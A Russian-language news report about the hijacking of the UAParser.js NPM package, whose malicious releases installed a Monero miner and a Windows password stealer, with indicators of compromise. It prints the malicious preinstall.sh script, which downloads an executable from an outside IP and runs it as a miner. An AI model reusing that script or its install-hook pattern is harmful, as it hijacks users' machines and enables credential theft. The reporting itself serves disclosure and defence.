В NPM-пакет UAParser.js, насчитывающий 8 млн загрузок в неделю, внедрено вредоносное ПО

История с удалением из репозитория NPM трёх вредоносных пакетов, копировавших код библиотеки UAParser.js, получила неожиданное продолжение — неизвестные злоумышленники захватили контроль над учётной записью автора проекта UAParser.js и выпустили обновления, содержащие код для кражи паролей и майнинга криптовалют.

Проблема в том, что библиотека UAParser.js, которая предлагает функции для разбора HTTP-заголовка User-Agent, насчитывает около 8 млн загрузок в неделю и используется в качестве зависимости в более чем 1200 проектах. Заявлено, что UAParser.js применяется в проектах таких компаний, как Microsoft, Amazon, Facebook, Slack, Discord, Mozilla, Apple, ProtonMail, Autodesk, Reddit, Vimeo, Uber, Dell, IBM, Siemens, Oracle, HP и Verison.

Атака была совершена через взлом учётной записи разработчика проекта, который понял что-то не так после необычной волны спама, свалившейся в его почтовый ящик. Как именно была взломана учётная запись разработчика не сообщается. Атакующие сформировали выпуски 0.7.29, 0.8.0 и 1.0.0, внедрив в них вредоносный код. В течение нескольких часов разработчики вернули контроль над проектом и сформировали обновления 0.7.30, 0.8.1 и 1.0.1 c устранением проблемы. Вредоносные версии были опубликованы только в виде пакетов в NPM-репозитории. Git-репозиторий проекта на GitHub не пострадал. Всем пользователям, установившим проблемные версии, при обнаружении в Linux файла jsextension, а в Windows файлов jsextension.exe и create.dll, рекомендуется считать систему скомпрометированной и поменять на ней пароли, ключи и сертификаты безопасности.

Добавленные вредоносные изменения напоминали изменения, ранее предложенные в клонах UAParser.js, которые, судя по всему, были выпущены для тестирования функциональности перед совершением широкомасштабной атаки на основной проект. На систему пользователя с внешнего хоста загружался и запускался исполняемый файл jsextension, который выбирался в зависимости от платформы пользователя и был подготовлен в вариантах для Linux и Windows. Для платформы Windows помимо программы для майнинга криптовалюты Monero (использовался майнер XMRig) злоумышленниками также было организовано внедрение библиотеки create.dll для перехвата паролей и их отправки на внешний хост.

Код для загрузки вредоносных компонентов в файл preinstall.sh NPM-пакета был добавлен код


   IP=$(curl -k https://freegeoip.app/xml/ | grep 'RU|UA|BY|KZ')
   if [ -z "$IP" ]
    then
	var=$(pgrep jsextension)
	if [ -z "$var" ]
		then
		curl http://159.148.186.228/download/jsextension -o jsextension 
		if [ ! -f jsextension ]
			then
			wget http://159.148.186.228/download/jsextension -O jsextension
		fi
		chmod +x jsextension
		./jsextension -k --tls --rig-id q -o pool.minexmr.com:443 -u 49***xYKH --cpu-max-threads-hint=50 --donate-level=1 --background &>/dev/null &
	fi
   fi

Как видно из кода, скрипт вначале проверял IP-адрес в сервисе freegeoip.app и не запускал вредоносное приложение для пользователей из России, Украины, Беларуси и Казахстана.

Источник: http://www.opennet.ru/opennews/art.shtml?num=56023